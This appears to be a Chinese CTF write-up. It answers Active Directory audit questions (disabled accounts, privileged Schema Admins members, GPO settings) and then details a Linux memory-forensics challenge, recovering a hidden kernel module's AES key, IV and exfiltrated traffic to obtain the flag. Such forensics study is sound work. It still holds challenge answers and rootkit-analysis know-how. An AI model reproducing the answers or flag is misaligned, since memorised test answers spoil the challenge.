7.Which users have their account disabled, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…

Wilhelm Firtz, Reginald Norwood, Christopher Price, 0x202

对于这种搜索过滤,建议使用以下资源:UserAccountControl 属性/标志值 - Jack Stromberg — UserAccountControl Attribute/Flag Values - Jack Stromberg从网站中我们得知了禁止用户的属性为514

image-20250723202901773

过滤的用户属性 userAccountControl = 514

属性 含义 十六进制值分析
userAccountControl 用户账户控制属性 控制账户状态的32位整数组合
禁用标志位 账户禁用状态 固定包含 0x2 (启用时不含此值)
常见组合值 禁用账户典型值 0x202(已禁用 + 普通用户)或 0x210(禁用 + 密码永不过期)

十六进制转换规则
0x202 = 512 + 2(十进制)

  • 512 (0x200):普通用户账户
  • 2 (0x2) :账户禁用标志

image-20250723203307229

由图可知Wilhelm Firtz, Reginald Norwood, Christopher Price, 0x202要注意

域内置的 krbtgt 账户(Kerberos密钥分发账户),它在AD中默认是禁用状态(密码不可修改+账户禁用),因此值固定为 514(十六进制 0x202)。

8.Which enabled users have their password set to not expire, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…

Bigsby Appleton, Montgomery Fitzgerald, Lily Sampson, 0x10200

根据网站的信息

image-20250723204116138

image-20250723204458159

9.What departments exist inside this domain, and how many active employees exist in each department? List the departments in alphabetical order. Format: DepartmentName-NumberOfEmployees

Finance-3, HR-8, IT-5

image-20250724105108216

当然需要排除已禁用的用户(即 userAccountControl = 514

10.Which users have the most control over the structure of the AD forest? Format: user1, user2, …

Charlie Edgars, Lily Sampson

拥有最多控制权的用户通常是 Schema Admins、Enterprise Admins 和 Domain Admins 等高度特权组的成员

在 CN=Users -> CN=Schema Admins 下找到成员属性,然后打开

image-20250724105820576

有两个用户,administrator是默认的

image-20250724105826125

11. Which users violate the principle of least privilege? Format: user1, user2, …

Christopher Price, Eleanor Wharton

Christopher Price = 外部用户已禁用,仍属于 CN=IT Employees

image-20250724113145343

Eleanor Wharton = IT 部门成员,但也属于 CN=Finance Employees

image-20250724113250789

12.Which OUs block inheritance? Format: OU1, OU2, …

Domain Controllers, IT, FileServers

根据[MS-GPOL]: 域 SOM 搜索 | Microsoft Learn — [MS-GPOL]: Domain SOM Search | Microsoft Learn文档可知,gpOptions 属性确定策略继承的行为,过滤 gPOptions = 1

image-20250724144802665

13.The GPOs were imported from a file supplied by a U.S. organization. Provide the sha256sum hash of the zip file containing the GPOs.

4BD7742C73A610EDF79A6B484457351438C90DC6FAC119EF8475B46D96BD2B37

所有在 CN=System → CN=Policies 下找到的 GPO 均以 DoD 开始

image-20250724153636563

image-20250724153714045

最终在NCP - 下载 — NCP - Download中找到文件

sss

14.What anti-virus software does the domain utilize, what is the maximum age in days of the AV definitions, and what must be impeded from launching executables?

Microsoft Defender, 7, JavaScript, VBScript

在其中一共gpo中找到DoD Microsoft Defender Antivirus STIG Computer v2r4

image-20250724163128091

DISA STIG Microsoft Defender 抗病毒软件 v2r4 | Tenable® — DISA STIG Microsoft Defender Antivirus v2r4 | Tenable®这个网站中可以发现相关规则

Invisible

1
2
3
4
Attackers never stop at the initial breach. They leave behind invisible traces and subtle signs within the
memory image. Can you uncover these hidden remnants,track their every move, and piece together the story of
their actions within the system?
Author:0xS1rx58

linux内存取证,这是我第一次遇到qaq。

本题给了ubuntu的Ubuntu-22.04.4-5.19.0-1030.json文件,大概是符号表,首先要将 JSON 文件放置在 Volatility3 文件夹中的符号文件夹内volatility3/symbols/linux/

然后使用vol3扫描了linux的进程,在最后发现了这个奇怪的进程,在这个进程之前,执行了sudo su 得到了root权限,然后以某种方式运行 core_logic_thre ,带有 bash

image-20250731100920848

其PPID为2说明它是一个内核线程,没有可得出的文件,再查看内核线程时,得知其module为sysfillrec

image-20250731103009101

因此我们需要找到这个内核模块进一步分析,使用lsmod并没有找到这个模块,大概率被隐藏了

image-20250731105759135

查看隐藏模块,发现,接下来通过linux.pagecache.Files列出所有文件以寻找内核模块文件

image-20250731105943441

搜索找到其路径。
有两种导出模块的方法:

  • 使用 InodePages 插件,仅导出我们需要的部分
  • 使用 RecoverFs 插件,导出整个文件系统,然后通过找到的路径查找文件。使用这种方法以防万一还需要查找其他文件。

最后找到

image-20250731112444826

解压出来分析

image-20250731112952571

(图1)

在同名函数中发现了熟悉的字符串,可以印证,然后逆向分析,

crypto_skcipher_setkey(_engine_cipher, v1, 32);使用了AEC-CBC模式设置加密密钥

因此,按照 AES-CBC 的要求,我们需要三样东西才能解密消息:Key ,IV,Ciphertext

v1作为 crypto_skcipher_setkey 的参数,由_compile_hint_map();生成

找到其对应的函数实现

image-20250731114643816

_compile_hint_map() 返回 p__dk.11 的指针。阅读代码后,它迭代了 32 次,然后使用 _key 的内容对 _shf 的内容进行置换,将其赋值给 dk_11 ,最后将值赋给 p__dk.11 以返回。

我们可以得知_key _shf的内容

image-20250731115205805

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_key = [
0x05, 0x0B, 0x0C, 0x1D, 0x14, 0x15, 0x16, 0x01,
0x0A, 0x00, 0x0D, 0x0E, 0x0F, 0x06, 0x04, 0x07,
0x03, 0x10, 0x13, 0x02, 0x1C, 0x1B, 0x08, 0x09,
0x11, 0x12, 0x17, 0x1A, 0x19, 0x1E, 0x18, 0x1F
]

_shf = [
0x50, 0x46, 0x47, 0x5A, 0x53, 0x41, 0x53, 0x4C,
0x33, 0x46, 0x4B, 0x4E, 0x54, 0x4D, 0x53, 0x41,
0x5A, 0x47, 0x36, 0x46, 0x4D, 0x44, 0x59, 0x36,
0x43, 0x46, 0x50, 0x4D, 0x58, 0x54, 0x32, 0x46
]

dk_11 = bytes([_shf[k] for k in _key])

print("Length:", len(dk_11))
print("Hex:", dk_11.hex())
print("ASCII:", dk_11.decode("ascii"))
1
2
3
Length: 32
Hex: 414e54544d4459464b504d534153534c5a5a4647584d33464736365046324346
ASCII: ANTTMDYFKPMSASSLZZFGXM3FG66PF2CF

得到密钥。

由于密钥长度为 32 字节,我们可以推断这是 AES-256-CBC。现在来寻找 IV。注意在图 1 中,我们看到了很多函数的实现。发现 _dispatch_phase_impl_compile_hint_map 的实现非常相似。

image-20250731154253045

但这次迭代次数从 32 次变成了 16 次, _key_shfdk_11 变成了 rpspot_12 。根据迭代次数猜测,这应该输出 16 字节的 result ,这符合我们对 AES-256-CBC 的要求

1
2
3
4
5
6
7
8
9
10
11
12
13
rp = [
3, 0, 8, 10, 12, 15, 7, 9, 11, 1, 14, 4, 5, 6, 2, 13
]

sp = [
0x41, 0x47, 0x47, 0x51, 0x43, 0x4C , 0x46, 0x34, 0x53, 0x54, 0x4D, 0x50, 0x42, 0x32, 0x41, 0x4D
]

ot_12 = bytes([sp[k] for k in rp])

print("Length:", len(ot_12))
print("Hex:", ot_12.hex())
print("ASCII:", ot_12.decode("ascii"))
1
2
3
Length: 16
Hex: 5141534d424d3454504741434c464732
ASCII: QASMBM4TPGACLFG2

得到了IV。所以我们只需要密文了。那么密文在哪呢?

如果我们去翻汇编代码会发现

image-20250731155300591

我们可以推测这可能是向恶意服务器发送某些数据,那么密文一定通过网络传递。

所以我们需要从内存中提取流量包。

L3akCTF 的 discord 服务器里有人提到了 bulk_extractor ,这是一个有力的数据提取器,基本上是 binwalk 的加强版Releases · simsong/bulk_extractor

提取后发现一个pcap流量包,关注10.0.2.17的流量

image-20250731164249261

得到数据2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e39187496375761

image-20250731164321834

文件名解base64得到

image-20250731164347538

L3AK{M3m0ry_N3V3r_F0rG3t5_Th3_Sh4D0ws..!}

更新中ing。。。